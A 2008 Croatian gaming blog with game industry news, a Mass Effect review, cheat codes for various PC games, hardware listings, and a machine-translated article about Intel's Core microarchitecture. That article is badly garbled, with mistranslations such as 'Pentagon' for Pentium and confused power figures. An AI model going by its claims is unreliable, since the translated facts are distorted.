petak, 01.08.2008.

Electronic Artsove periferije

EA Sportsov izvršni producent David McCarthy u svom je govoru na GDC-u u Parizu najavio kako će Electronic Arts u idućih godinu dana na tržište izbaciti vlastite igraće dodatke koji će igračima njihovih sportskih naslova pružiti sasvim novo iskustvo.

Premda će detalji o spomenutim dodacima biti otkriveni tijekom nadolazećeg sajma E3, McCarthy ne krije kako su ideje pokupili od Nintendovog Wiija, te igara kao što su Guitar Hero i Rock Band. Budući da je cijena igara koje dolaze s posebnim kontrolerima skupa, EA čitavom konceptu pristupa vrlo oprezno budući da ciljaju na široki krug igrača.

| 13:24 | Komentiraj (0) | Print this! | #

Diablo III - nezadovoljnici

Nakon prave eksplozije zadovoljstva koje je prouzročila najava da Blizzard ne samo radi na Diablu III nego ima gomilu gotovog materijala, uslijedila je žalopojka. Fanovi okupljeni oko Diablofans.com podigli su glas protiv grafičkog stila koji se pokazao u igri.

Kažu da je igra izgleda kao crtić, da je previše osvjetljenja, da tamnice izgledaju čisto kao da ih je netko izribao, da su boje pastelne, da su oklopi prenaglašeni, a sve to pripisuju utjecaju Warcrafta te odlučno kažu - Diablo nije Warcraft. Mašala, normalno da nije. Svoje tvrdnje potkrepljuju slikama iz prijašnjih nastavaka, obrađenim slikama iz trojke koje simuliraju kako bi to trebalo izgledati... I makar su u Blizzardu baš nedavno pričali kako njihovi fanovi jednostavno nisu normalni (što je živa istina), točno je da smo se na nekim slikama iz igre pitali što oprema iz WoW-a radi u Diablu.

Ukoliko ste sada ostali intrigirani ili ste konačno otkrili što vam je bilo čudno s prvim slikama, a niste točno mogli odrediti, organizirana je peticija pa tko voli, nek' izvoli.

| 13:24 | Komentiraj (11) | Print this! | #

Diablo III

Subotu smo svi s nestrpljenjem čekali, a povod su bili Blizzardovi hintovi koji su se proteklih tjedana pojavljivali u medijim. Misterij je napokon riješen, a kao što se i sumnjalo, najavljen je nastavak legende koja je mnogima bila prvo online iskustvo - Diablo III!

Usporedo s najavom, pokrenute su i službene stranice na kojima su predstavljene dvije od pet klasa, neka čudovišta, te još nekoliko fanovima dragih stvari. Ono što posebno valja naglasiti je da Diablo III ostaje čisti hack'n'slash RPG kao i prethodnici, te da će uz solo igru biti igriv putem Battle.net-a.

Image Hosted by ImageShack.us

| 13:24 | Komentiraj (2) | Print this! | #

EA najavio Nucleus

Electronic Arts, točnije njihov dio EA Online najavio je novi identifikacijski sutav nazvan Nucleus. Prema službenom priopćenju, ovaj će sustav pohranjivati profile igrača uključujući dostignuća u igrama i liste prijatelja, a tim je profilima pristup omogućen iz bilo kojeg dijela svijeta.

Uz Nucleus stiže i alat koji će olakšati mikro-transakcije, a kao primjer se navode Battlefield Heroesi za koje ćemo kupovati nove mape i oružja. Identifikacijski sustav bit će ugrađen u novi dućan The Simsa 2, a koristit će ga i igre poput Sporea i gotovo svih naslova iz serijala EA

Image Hosted by ImageShack.us

| 13:23 | Komentiraj (0) | Print this! | #

Zli imperij ugrabio Rage

Na opće iznenađenje, Electronic Arts i id Software zajedničkim su priopćenjem najavili potpisivanje ugovora za id-ov slijedeći projekt Rage. O istom će detaljne informacije biti objavljene tijekom nadolazećeg QuakeCona, a za sada je poznato kako je riječ o shooteru uz obilno korištenja vozila temeljenom na novom enginu Tech5.

Obje tvrtke ističu kako je izdavanje Ragea pod okriljem Electronic Artsa jednokratni dogovor, ali ne kriju kako se nadaju i budućoj suradnji. Izgleda da je u igri veliki novac, budući da je sam Carmack prokomentirao kako je prije par godina o EA imao mišljenje kao zlom imperiju koji uništava male razvojne timove i tada nikakva suradnja nije dolazila u obzir.

| 13:23 | Komentiraj (0) | Print this! | #

Ponuda i dalje vrijedi

Koliko god zvučalo smiješno, Electronic Arts je ponovo produžio ponudu dioničarima Take-Twoa. Nastavak ponude vrijedi do 18. kolovoza, iako je očito da će se ponuda prolongirati i dalje ako i u ovom razdoblju EA ne otkupi dovoljan broj dionica - trenutno ih imaju oko 15 posto od ukupnog broja.

Dakako, uprava Take-Twoa savjetuje dioničarima da ne prodaju svoj udio jer mu vrijednost zahvaljujući odličnoj prodaji Grand Theft Autoa IV i najavi filma prema BioShocku može samo narasti, no očito je kako EA svakim mjesecom napravi korak (doduše, mali) prema zacrtanom cilju.

| 13:23 | Komentiraj (1) | Print this! | #

EA spreman za konkurenciju

Jučerašnja vijest o spajanju Activisiona i Vivendija u zajedničku tvrtku Activision Blizzard u Electronic Artsu je dočekana smireno. Premda je dosadašnji najveći svjetski izdavač izgubio čelnu poziciju na koju je zasjela novoosnovana tvrtka, predstavnik EA je naglasio kako se njihova izdavačka kuća najbolje snalazi kad ima jasno definiranu konkurenciju.

Nedavnom kupovinom BioWarea i Pandemica, EA je trebala nadmašiti Activision na polju MMO-a budući da Bioware navodno radi "masivku" na temu Star Warsa, a za iduću godinu je zakazan i izlazak EA Mythicovog Warhammer Onlinea, no nisu računali na veliki World of Warcraft koji je sada u vlasništvu Activision Blizzarda.

U brojkama, prema predviđanjima analitičara EA će u tekućoj poslovnoj godini ostvariti promet od 3,35 do 3,65 milijardi dolara, dok za kalendarsku 2007. Activision Blizzardu predviđaju bolji rezultat - 3,8 milijardi dolara. Brojke od kojih zastaje dah.

| 13:22 | Komentiraj (0) | Print this! | #

Neslužbeno najavljen Godfather II

Kao i u slučaju Need for Speeda, glavni "krivac" za neslužbenu najavu Godfathera II je ponovo brzi jezik Johna Riccitiella. Premda je prvi dio osrednja pucačina koja osim likova i mjesta radnje po ničem nije usporediva s istoimenim filmom (čak se i Coppola žestoko protivio izradi), dovoljno je razvikano ime da EA-ov interni tim Redwood Shores već neko vrijeme radi na nastavku.

Kako kaže Riccitiello, o Godfatheru II ćemo se naslušati tijekom jeseni kada će ga valjda i službeno najaviti, a po njemu najveći je napredak ostvaren u igrivosti. Naime, uz klasičan pogled iz trećeg lica, radnju je moguće promatrati iz ptičje perspektive, gotovo kao u kakvom RTS-u.

| 13:22 | Komentiraj (0) | Print this! | #

Godfather na sudu

The Godfather ili u prijevodu Kum nastao je iz pera Maria Puza i prema njemu je snimljen i istoimeni film, te naknadno napravljena i igra. Kako javlja Reuters, sin spomenutog pisca prošlog je tjedna podignuo sudsku tužbu protiv Paramounta zbog kršenja ugovara upravo radi igre koja mu je pričinila štetu od oko milijun dolara koliko potražuje.

Mario Puzo preminuo je 1999. ostavivši svu imovinu nasljednicima, a ista uključuje i višemilijunske ugovore na njegova literarna djela. Kako smo pisali, Electronic Arts je prije par dana neformalno najavio kako je nastavak igre Godfather u izradi.


Free Image Hosting at www.ImageShack.us

QuickPost Quickpost this image to Myspace, Digg, Facebook, and others!

| 13:22 | Komentiraj (0) | Print this! | #

Promjena politike

Spajanje Activisiona i Vivendija stvorilo je najjaču izdavačku kuću, no postavilo je i pitanje kakvu će poslovnu politiku voditi nova tvrtka glede Blizzarda koji je do sada bio relativno samostalan. Na to pitanje odgovorio je Jeffrey Kaplan, glavni i odgovorni za World of Warcraft koji kaže kako su moguće promjene glede platnog modela spomenutog MMO-a.

Iako se s time ne slažu, priznaju da je to u nadležnosti Activison Blizzarda i da će oni imati zadnju riječ. Slična je stvar i s Diablom III u kojem bi mikrotransakcije bile osnova financiranja, a moguća su iznenađenja i glede daljnjih projekata budući da Activision ima iskustva s konzolama na kojima bi se mogli pojaviti nadolazeći Blizzardovi hitovi.

| 13:21 | Komentiraj (0) | Print this! | #

Grand Theft Auto: San Andreas

Tek ste počeli igrati, a već ima kodova za varanje.

Kodove utipkajte tijekom igranja.


SPEEDFREAK: Svi auti imaju Nitro
NIGHTPROWLER: Stalno je ponoć
FLYINGFISH: Brodovi mogu letjeti
BUBBLECARS: Auto oplutaju kada se sudare
STATEOFEMERGENCY: Totalni kaos
BLUESUEDESHOES: Elvis je svuda oko vas
SPEEDITUP: Brža igra
ONLYHOMIESALLOWED: Članovi bandi svuda oko vas
BIFBUZZ: Bande kontroliraju ulice
ROCKETMAN: Jetpack
PROFESSIONALKILLER: Hitman u svim oružanim stavkama
FULLCLIP: Beskonačno puno municije
WHEELSONLYPLEASE: Nevidiljiv auto
NATURALTALENT: Sve vještine upravljanja vozilima na maksimumu
BUFFMEUP: Max Muscle
WORSHIPME: Max Respect
HELLOLADIES: Max Sex Appeal
STICKLIKEGLUE: Savršena upravljivost
GHOSTTOWN: Smanjen promet
SLOWITDOWN: Usporena igra
ITSALLBULL: Pojavi se Dozer
OHDUDE: Pojavi se Hunter
JUMPJET: Pojavi se Hydra
MONSTERMASH: Pojavi se Monster
FOURWHEELFUN: Pojavi se Quad
VROCKPOKEY: Pojavi se Racecar
WHERESTHEFUNERAL: Pojavi se Romero
CELEBRITYSTATUS: Pojavi se Stretch
FLYINGTOSTUNT: Pojavi se Stunt Plane
TRUEGRIME: Pojavi se Trashmaster
GOODBYECRUELWORLD: Samoubojstvo
PLEASANTLYWARM: Sunčano vrijeme
SCOTTISHSUMMER: Oluja
EVERYONEISPOOR: Okolni promet su jeftini auti
EVERYONEISRICH: Okolni promet su brzi auti
TOODAMNHOT: Vrlo toplo vrijeme
PROFESSIONALSKIT: Weapon Set 2, Professional Tools

| 13:20 | Komentiraj (1) | Print this! | #

BioShock

Prevladate li sve nedaće uz instalaciju igre i pomirite se sa činjenicom da još nema wide screen prikaza na ovaj način si olakšajte igranje.

Procedura zahtijeva izmjenu datoteke u igri pa preporučamo napraviti sigurnosnu kopiju prije nego što počnete.

Tekst editorom (notepad) otvorite datoteku" defuser.ini". Dopišite tekst kojim vežete tipku uz neku od navedenih opcija na dnu teksta npr. "F10=fly". Zatim u igri samo pritisnite tipku koju ste vezali na određeni efekt.

Onemogući Clipping - ghost
Onemogući "fly" i "ghost" kodove - walk
Letenje - fly
God Mode - god
Teleport To Pointer - teleport

| 13:19 | Komentiraj (0) | Print this! | #

Need For Speed ProStreet

gra ima predviđen meni za upis kodova za varanje pa ga je šteta ne iskoristiti.

Unesite kodove u meni za varanje za željeni rezultat:

1MA9X99 - Dodaj $2,000
1MI9K7E1 - Dodaj $10,000
CASHMONEY - Dodaj $10,000
CASTROLSYNTEC - Otključavanje Castrol Syntec Vinyl
COKEZERO - Otključavanje Coke Zero Golf GTI
ENERGIZERLITHIUM - Otključavanje bonus vinila
HORSEPOWER - Otključavanje Chevelle SS
ITSABOUTYOU - Otključavanje Audi TT
L1IS97A1 - Dodaj $8,000
LEIPZIG - Otključavanje Progressive Bonus Vinyl
MITSUBISHIGOFAR - Otključavanje Mitsubishi Lancer Evolution
REGGAME - Dodaj $10,000
SAFETYNET - Dodaj pet Repair Tokena
UNLOCKALLTHINGS - Otključavanje Nissan 240 SX, Pontiac GTO, Chevy Cobalt SS, and Dodge Viper SRT 10
W2IOLL01 - Dodaj $4,000
WORLDSLONGESTLASTING - Otključavanje Dodge Viper SRT10
ZEROZEROZERO - Otključavanje Coke Zero Golf GTI

| 13:19 | Komentiraj (0) | Print this! | #

Harry Potter and the Order of the Phoenix

Tehnički se ovdje ne radi o varanju, ali navedene informacije značajno olakšavaju igranje.

Dolje su navedeni trofeji i kako ih otključati:

Architecture Cup - Pronađite 12 Hogwarts amblema

Characters Cup - Pričajte sa svim likovima u Hogwartsu

Defense Against the Dark Arts Cup - Iskoristite sve obrambene čarolije u zadnjih šest dvoboja

Exploding Snap Cup - Pobijedite oba Exploding Snap šampiona

Explorer Cup - Istražite cijeli Hogwarts

Famous Witches & Wizards Cup - Pronađite 15 čarobnjačkih plaketa

Friends of the Year Cup - Pronađite Lunine izgubljene predmete

Golden Gobstone Cup - Porazite četiri Gobstone šampiona

Grandmasters Cup - Porazite sva tri čarobnjaka prvaka u šahu

Homework Cup - Dovršite sve zadatke od učitelja

House Ghost Cup - Pronađite četiri duha

Nature Trail Cup - Pronađite sve tragove životinja

Ornithology Cup - Pronađite svih pet letećih životinja

Portrait Password Cup - Pronađite 12 lozinki portreta

School Pride Cup - Dovršite svih 66 zadataka

Secret Statue Cup - Pronađite svih 12 čarobnjačkih šahovskih figura

Smler’s Cup - Pronađite svih 12 Fredovih i Georgeovih tajnih paketa

Studious Success Cup - Zaradite najvišu ocjenu iz svakog predmeta

| 13:19 | Komentiraj (0) | Print this! | #

Mass Effect Skakutanje po planetima

Čak i prije no što smo zaigrali Mass Effect, znali smo da je dobar, no ono što nas je dočekalo, nadmašilo je sva očekivanja. Spomenuti nas je već nakon prvih pola sata uvukao u svoj svijet zahvaljujući odličnoj priči čiji se krajnji cilj otkriva već u početku, no majstori iz BioWarea uspješno su izbjegli klasičnu šablonu sve težih protivnika do konačnog obračuna. Naprotiv, čak i neke kasnije misije bit će lakše riješiti nego one na početku, no razvoj radnje prepun nepredvidivih obrata i iznenadnih otkrića je taj koji igrače tjera do samog kraja.
Ne vladamo svemirom?! WTF?
Mass Effect nas stavlja u ulogu zapovjednika Sheparda, a hoće li to biti on ili ona prepušteno je vama. Isto tako, prilikom kreiranja lika moguće je odabrati i dodatne detalje poput kratkog opisa odrastanja, dok izbor klase određuje daljnji način igranja. Preferirate li magiju, moćno oružje ili pak klasu koja će stajati u zaleđu i brinuti o suborcima zavisi samo o afinitetima, a kako igra nudi gomilu materijala koje sigurno nećete sve otkriti u prvom prolazu, nigdje ne piše da je ne smijete po drugi put zaigrati i kreirati lika drugačije orijentacije.
Za divno čudo, ljudska vrsta nije nadređena svim ostalim vanzemaljskim rasama, budući da su se posljednji uključili u kolonizaciju svemira kojim upravlja Vijeće. Vijeće ima najviše političke ovlasti i bez njihove suglasnosti svaka je akcija nemoguća, dok njihove odluke provode Spectrei, pripadnici posebne postrojbe koji su iznad svih zakona. Budući da naš junak (ili junakinja) već u početku otkriva nevjerojatnu urotu jednog od Spectrea, koja uključuje moguću destrukciju svih civilizacija i povezana je sa sličnim događajima iz davne povijesti, postaje prvi čovjek u redovima Spectrea i kreće u lov na odmetnika koji će ga odvesti u mnogobrojne zanimljive situacije.
Već u početku pridružit će nam se par vanzemaljskih članova, svatko iz svojih razloga, no u misije je uz glavnog junaka moguće voditi samo dvoje. Suborci u misiji su uvijek pod kontrolom računala, premda im je moguće izdavati jednostavne timske naredbe poput napada, povlačenja ili određivanja mete te ih opremati. Koliko je to svrsishodno nismo sigurni jer, čak i bez našeg petljanja, računalo vrlo dobro kontrolira čitavu akciju i koristi dostupne specijalne moći bez problema.
Pet bodova u snajper, jedan u šarm
Budući da smo Mass Effect utrpali u žanr RPG-a, logično je očekivati i neko sakupljanje iskustva, a isto se dobiva rješavanjem zadataka, kao i eliminacijom protivnika. Napredovanje po nivoima donosi bodove koje je moguće uložiti u nekoliko specijalizacija zavisno o klasi koju ste odabrali, dok je taj dio za ostale članove tima najbolje prepustiti umjetnoj inteligenciji - iako se time možete i sami pozabaviti, ako imate volje. Uglavnom, ulaganje u specijalizacije donosi određene bonuse u vidu dodatnih moći, bilo da se radi o mogućnosti korištenja boljeg oklopa, kratkotrajnim poboljšanjima tijekom bitaka ili otključavanju dodatnih grana razvoja.
Vezano uz razvoj likova spomenimo i njihovo opremanje boljom opremom koju nalazimo tijekom avantura, a osim naoružanja, moguća su poboljšanja streljiva i oklopa, kao i kupovina/prodaja istih kod trgovaca. Vrlo je lako zaboraviti isprazniti inventar, no srećom, nepotrebne je predmete moguće pretvoriti u Omni-gel u bilo kojem trenutku. Isti je potreban za popravljanje tehničkih naprava, kao i otvaranje razasutih pretinaca koji možda kriju vrijedne predmete, no samo u slučaju da ne stignete ručno probiti kôd igrajući moderniju varijantu legendarnog Froggera.
Vozilo punjeno helijem
I dok na razvoj priče, bitke, umjetnoj inteligenciji i grafičkoj podlozi nemamo zamjerki, imamo na sporedne zadatke uključujući fiziku Makoa, vozila kojim se često služimo. Naime, svi sporedni zadaci koje smo susreli uključuju vožnju do određenog mjesta na mapi, malo napucavanja s protivnicima izvan građevine, ulazak i finalni okršaj s protivnicima unutra bez neke smislene priče. Doduše, perfekcionisti će ionako posjetiti svaki planet da bi se divili okruženju, istražili prisutne anomalije i pokupili vrijedne metale, no sporedni zadaci definitivno izgledaju šablonski naštancani - kad vidite jednog, vidjeli ste ih sve.
Mako, borbeno prijevozno sredstvo kojim putujemo po površinama planeta, ima neku čudnu, da ne kažemo glupu fiziku. Naime, čak i na najmanjoj neravnini skakuće kao da se radi o balonu, dok je samo upravljanje vrlo nezgrapno i teško se naviknuti na njega. Da stvar bude gora, skakutanje je prisutno na svakom planetu kojeg smo posjetili, tako da ne pušimo gravitacijske priče.
Opis Mass Effecta bio bi nepotpun bez spominjanja pet godina starog Knights of the Old Republica, igre čiji koncept Mass Effect uspješno kopira i nadograđuje. Doduše, postajanje Jedijem u starijem uzoru imalo je veći utjecaj na igrivost nego što to ima uvrštavanje u redove Spectrea u Mass Effectu, no to ne umanjuje ukupan dojam koji je unatoč zamjerkama na kraju vrlo pozitivan.

| 13:18 | Komentiraj (0) | Print this! | #

GRID

Varanje u svijetu auto trka je dozvoljeno, ako vas ne uhvate.

Kodovi za varanje se upisuju u za to predviđen meni u igri.

MUS59279: otključavanje muscle automobila

TUN58396: otključavanje drift automobila

Otključavanje shema bojanja:

F93857372 - uchbinder 320si
G29782655 - Gamestation BMW 320si
M38572343 - Micromania Pagani Zonda R
P47203845 - Play.com Aston Martin DBR9

| 13:18 | Komentiraj (0) | Print this! | #

Wheelman odgođen

Među masom prikazanih igara na ovogodišnjem E3-u našao se i Wheelman, akcijska jurnjava čija je glavna zvijezda Vin Diesel. Premda je već jednom došlo do odgode i Wheelman se trebao pojaviti do srpnja ove godine, svi koji su igru vidjeli ili zaigrali tvrde kako je još uvijek prepuna propusta, pa novo priopćenje Midwaya uopće ne iznenađuje.

U njemu se naime govori kako je novo vrijeme izlaska igre zakazano za prvo tromjesečje iduće godine, a dodatno vrijeme iskoristit će za ispravke bugova i usavršavanje igrivosti. Više informacija o Wheelmanu možete pronaći na službenim web stranicama.

Free Image Hosting at www.ImageShack.us

QuickPost Quickpost this image to Myspace, Digg, Facebook, and others!

| 13:16 | Komentiraj (0) | Print this! | #

Age of Empires III

Svako koga zanima RTS (Real Time Strategy) žanr ili igre uopće čuo je za Age of Empires serijal koji je postavio temelje strateškim igrama za PC, i od mnogih igrača dobila je status najbolje RTS igre svih vremena i najboljeg RTS serijala. Prvi dio koji je, ako se ne varam, bio vezan za Rimsko Carstvo je igra koja je imala do tada nepojmljivu grafiku i odličnu kampanju u kojoj smo se sukobljavali sa svim velikim silama tog doba, držao nas je prikovanim za naš PC mjesecima. Drugi dio je nastavio utabanim stopama svoga prethodnika u kojem su ovaj put glavnu riječ imali dvorac, kralj i njegovi odani vitezovi, i još jedanput nam donijeli pregršt zabave, bitki i mnogih novina. Nakon ekspanzija koje su pobrale slavu originala, kreatori igre nam donose famozni Age of Mithology serijal za koji mnogi tvrde da je neka vrsta eksperimenta za budući Age of Empires III. Kreatori igre su htjeli isprobati mnoge novine i vidjeti kako bi stvari izgledale u 3D svjetlu. Igra je bila solidna i dostojna svog zadatka. Age of Empires III je konačno tu i sa zadovoljstvom mogu reći da je i više nego dostojna da nosi ime serijala. Već pri startu osjetite isti osjećaj kao i kod igranja njegovih prethodnika i već tada znate da vas čekaju duge neispavane noći provedene uz ovu igru...

| 13:09 | Komentiraj (0) | Print this! | #

IGRE U 2009

1.UFC 2009
2.PES 2009
3.THE SIMS 3

| 13:05 | Komentiraj (0) | Print this! | #

INTEL

Gospodarska Technology Officer Justin Rattner unveiled ime i nekoliko performanse i snaga details procesora koji koriste dizajn na Intel Developer Forum ovdje. Arhitektura, izvedeni iz dizajna, Pentium M procesor, stavlja veliki naglasak na manja potrošnja energije i starije prioritet jačanje učinkovitosti.
IDF Proljeće 2006

"Energija je svačija na umu. To je sljedeća granica. Ne samo da je postala kritična zabrinutost u našim svakodnevnim životima, ona je postala kritična zabrinutost u svakom samo o platformi smo," Rattner, rekao je u jednom govoru u show.

Osnovne microarchitecture je osmišljen kako bi se bavio s dva se odnose bolove u računarstvo, prekomjerne potrošnja energije i otpadna toplota rezultirajući. Poboljšanje performansi po vat Intel daje novu sales pitch u vrijeme kada je lica tržišni udio gubitaka na rival AMD složen po financijskih problema.

Osnovne microarchitecture je nastavak na nesretan NetBurst microarchitecture koji se koriste u Intel's Pentium 4 roda. NetBurst je bio usredotočen na postizanje visoke brzine takta, ali je nacrtan neumjeren iznosi vlasti i brze brzine i Intel poništen svojim planovima da se na dizajn na 4GHz.

"Kada je Pentium 4 prvi iziđe, učinkovitost je bila vrlo razočaravajuća da puno ljudi u početku," Illuminata analitičar Gordon Haff, rekao je. "Teško je nazvati Pentium 4 jedan neuspjeh, s obzirom koliko su prodali, ali je sigurno jedan evolucijski kraja mrtvih."

Tri čips na temelju Core microarchitecture - sve dvojezgrenim modeli - planirano za drugu polovicu 2006: Conroe za stolna računala, Meroma za laptop, i Woodcrest za poslužitelje. Rattner krišom promatrati poboljšanja dolaze sa sva tri.

Woodcrest će potaknuti učinkovitost 80 posto, dok smanjenje snaga potrošnje 35 posto u usporedbi s dvojezgrenim 2.8GHz Xeon danas, rekao je on. Conroe će potaknuti učinkovitost 40 posto i smanjiti potrošnja energije 40 posto u usporedbi s dvojezgrenim Pentium D 950. I za Meroma, kupaca očekivati "lijep dobitak u odnosu na Core Duo T2600, a da pritom zadrže iste baterije", rekao je on.

Rezanje potrošnja energije
Rattner je pokazao grafikon od nekoliko Pentium procesor generacije ilustrira da je postupno poboljšanje performansi su offset by raste potrošnja energije zahtjeve.

"Mi smo za proučavanje ove godine, i trend je malo alarmantna", kazao je Rattner. "Količina energije potrebna za obnašanje jednu pouku, znatno je porasla - i preko faktor više od četiri ovome vremenskom okviru."

Izvorna Pentagon u 1993 konzumira oko 13 nanojoules za pouku ga pogubili. The Pentium Pro 1995 u gotovo udvostručen performanse, ali konzumira oko 24 posto nanojoules pouku.

The Pentium 4 u 2001 je oko tri puta izvedbu Pentagon, ali ga konzumirati oko 38 posto nanojoules pouku, dok je Pentium 4 je četiri puta performanse, ali oko 49 posto nanojoules vat.

The Pentium M roda, čips izvorno namijenjen za prijenosna računala promijenio trend. Prvi model u 2003 je isti 12 nanojoules po pouku energije kao izvorni Pentium ali o 2,7 puta izvedbu. Core Duo, koji je došao na tržište ove godine, ima četiri puta izvedbu, čak i niže po-instrukcija potrošnje od 10 nanojoules, Rattner, rekao je.

Procesor je samo jedna komponenta u računalu, iako. Intel radi na smanjenje snaga zahtjeva za ostatak sustava kroz tehnologiju zove extended stanje mirovanja, Rattner, rekao je. Procesori može isključiti kada miruje, ali ova tehnologija omogućuje drugim dijelovima učine isto.

Jedan dio extended stanje mirovanja je prikaz self-refresh, koji sidesteps potrebu da se probuditi se cijeli sustav samo za ažuriranje računala's display. To čak može pokrenuti sa matične ploče isključena sve dok prikaz slika se ne mijenja, Rattner, rekao je.

"Potencijal za upravljanje snagom na razini platforme je stvarno velik. To je nešto što je potrebno da adresu za sve naše sustave," rekao je on.

Temeljni microarchitecture značajke
Rattner krišom promatrati popis poboljšanja dolaze s novim čip dizajn.

• Intel Wide Dynamic Execution, koji omogućuje koliko četiri upute biti napisana u jednom krpelj na chip-a clock. Osim toga, značajka zove macrofusion automatski spaja dvije high-level čip upute, u nekim slučajevima u jednu pouku.

• The Digital Media Boost znači da sve "JJI" upute možete izvršiti na jedan otkucaj digitalnog sata u računalu satom. JJI se zalaže za streaming SIMD (single pouku, više podataka) ekstenzije i brzine nekoliko operacija kao što su video dekodiranje ili digitalni foto obradu.

• Intel Advanced Smart Cache poboljšava kako high-speed cache memoriju dijele po više procesora jezgre. Na primjer, dozvoljava jednom core kontrolu cijele cache kada je druga jezgra miruje, a za drugi puta, kako se upravlja isti podaci mogu se dijele obje jezgre, Rattner, rekao je.

• Intel Smart Memory Access je poboljšana skup algoritama koji mogu predvidjeti što podataka bi trebao biti "prefetched" iz glavne memorije u brže cache memorije tako da je pri ruci kada je procesor potrebe, rekao je on.

• I Intel Intelligent Power Mogućnosti "omogućuje nam isključivanja dijelova u čip koji nisu potrebne u određenom trenutku kako bi podržao izvršenje instrukcija", rekao je Rattner.

Novi proizvodni proces
Rattner je krišom promatrati Intel's proizvodnih snaga. Tvrtka je započela izgradnja čipovima pomoću proizvodnog procesa s strujni krugovi značajke mjerne 65 nanometers prošle godine, a slijedeća generacija-45-nanometer chipovi su u punom tijeku. Intel pokazao svoje prve 45-nanometer memory chip prototipova u siječnju.

"Smatramo da smo više od godinu dana ispred konkurencije u isporukom 65-nanometer tehnologije. U drugoj polovici 2007, mi ćemo se presele u 45-nanometer tehnologiju," rekao je Rattner. The memory chip prototip "nam je dao veliko povjerenje u uspjeh 45-nanometer tehnologija", koja će se dozvola za veće onboard high-speed memory sprema i obrada više jezgri na jednom čipu, rekao je on.

Ali on je naznačeno Intel nije utrka za izgradnju osam-core chips.

Intel planira nekoliko četiri-core chips in 2007, ali da bi trebao zadovoljiti zahtjeve multicore do softver hvata do pristup, Rattner, rekao je. Dubliranje s dvojezgrenim u 2006 Quad-core in 2007 made smislu, rekao je on, ali je dodao: "Hoće li mi opet u dvokrevetnoj 2008? Vjerojatno nije."

"Intel poduzima jedan konzervativan pristup da se usredotočuje na jednu nit-performance", rekao je on, iako on nije pomenula natjecanje iz Sun Microsystems' osam-core UltraSparc T1 "Nijagara" procesor. "Nećete vidjeti osrednji konac izvedbe samo zbog dobivanja više jezgri na jednom umrijeti", rekao je on.

On je također apelirao softver tvrtke za rad na podupiranju multicore dizajne sa softverom koji se podijele zadatke među više izvršenje teme. "To je stvarno vrijeme da biste dobili onboard je višenitni trenirati", rekao je on.

| 13:03 | Komentiraj (0) | Print this! | #

Windows Search 4.0

Brzo traženje i pronalaženje e-mail poruke i privitke, poslovne dokumente, medijske datoteke, i mnoge druge vrste datoteka se nalazi na računala i datoteka dionica na vašoj mreži. Pomoću alata Windows Search 4,0, jednostavno upišite traženi pojam i rezultati-brzo se pojavljuju, uključujući informacije unutar e-mail poruke i njihove priloge. U sustavu Windows Vista SP1, počnu svoju pretragu desno od izbornika Start i fino podešavanje Vašeg pretraživanja unutar Search Explorer. U sustavu Windows XP, koristite uvijek vidljiv Deskbar za brzo i jednostavno pretraživanje pristup indeksiraju sadržaj na vašem računalu ili mreži. Rezultati su prikazani na jasan način na koji vam omogućuje da brzo pronašli točno onu sliku ili na e-mail poruka koja vam je potrebna, čak i kada se mnogi rezultati su se vratili.

Najnovija verzija Windows Search nudi sljedeće mogućnosti:

* Iscrpan i intuitivno pretraživanje značajka pomaže vam u pronalaženju predmeta brzo, a dostupan je u sklopu zajedničke poslove. Saznajte više o sustavu Windows Search 4,0 za poslovne korisnike.
* Easy implementacije alata za upravljanje i korištenje zajedničke infrastrukture elemenata, pravila grupe za podršku, pomoć i fino podešavanje mrežnih performansi. Saznajte više o sustavu Windows Search 4,0 za IT profesionalce.
* Well-podržane platforme pruža veliku pomoć za uobičajene formate podataka, što je lako za programere za poboljšanje rada i proširiti mogućnosti pretraživanja. Saznajte više o sustavu Windows Search 4,0 za programere.

| 13:01 | Komentiraj (0) | Print this! | #

četvrtak, 31.07.2008.

Grafička Gigabyte 8800GTX

Image Hosted by ImageShack.us


Model Gigabyte 8800GTX
GPU NVIDIA GeForce 8800 GTX
Sučelje PCI-Express 16X
Memorija 768MB DDR3, 384 bit
Radni taktovi GPU - 575 MHz
Memorija - 1800 MHz
Konektori TV-out, 2 x DVI, HDTV podrška
Hlađenje Aktivno na GPU
Ostalo 128 pixel cjevovoda
DirectX 10/9 kompatibilna
Shader model 4.0/3.0

Gigabyte GF 8800GTX, 768MB DDR3, TV-out, Dual DVI
Cijena: 4.210,40 kn

| 20:41 | Komentiraj (0) | Print this! | #

srijeda, 30.07.2008.

Šifre za igru The Lord of the Rings: Return of the King

Započni bilo koju misiju i pritisni ESC. Drži LEFT SHIFT + LEFT CTRL + LEFT ALT i utipkaj sljedeće brojeve na NUMPADU:

7755 - health
6869 - Always devastating
8967 - Sva nadogradnja
7795 - Beskonačna municija
7578 - God Mode
9587 - Targeting mode
5964 - Perfect mode

| 15:30 | Komentiraj (6) | Print this! | #

Šifre za igru Rise of Nations

Za vrijeme igre upišite sljedeće šifre (šifre se upisuju pritiskom na tipku Enter):

cheat finish - završava gradnju
cheat resource all+10000 - dobivate sve resurse za koliko napišete poslije znaka +
cheat nuke - baca nuklearnu bombu na mjesto koje je na ekranu
cheat bird - pojavljuje se Wild Bird na mjestu kursora
cheat reveal (1 / 0) - otkriva mapu
cheat war (ime nacije) - rat s nacijom
cheat victory (ime nacije) - pobjeda nacije
cheat peace (ime nacije) - primirje s nacijom
cheat ally (ime nacije) - savez s nacijom

Free Image Hosting at www.ImageShack.us

QuickPost Quickpost this image to Myspace, Digg, Facebook, and others!

| 15:30 | Komentiraj (1) | Print this! | #

Šifre za igru Need For Speed: Carbon

Kada uđete u igru i pojavi vam se tekst "Click to continue" da bi ušli u glavni meni, onda ostanite na tome i upišite željene šifre. Neke šifre će raditi i ako ih upišete u Main Menu.

friendlyheadlocksapplied - vaš član crewa npr. beskonačno drafta (ne smanjuje mu se crew-o-meter)
nosforeverever - beskonačni NOS
slowitdownwhenyouwant - beskonačni speedbreaker
canyonalltheway - u quick race modu imate sve staze
5grand5grand - dobivate 5000 $
chasingmobile - dostupan auto Corvette Z06 u quick race modu
guesswhoisback - dostupan Corvette Z06 policijski auto kojeg vozi Cross
trashtalking - tenk u quick race modu
bigredfiredrive - vatrogasni kamion u quick race modu
watchoutthebigtruckishere - smetlarski kamion u quick race modu

| 15:29 | Komentiraj (2) | Print this! | #

Šifre za igru FlatOut 2

Uđite u glavni izbornik igre i odaberite Extras, te zatim upišite jednu od ponuđenih šifri:

GIEVEPIX - svi auti i $1 000 000 credita
GIVEALL - sve staze
RUTTO - pimpster
WOTKINS - flatmobile
RAIDERS - sladoledni kamion
GIEVCARPLZ - školski autobus
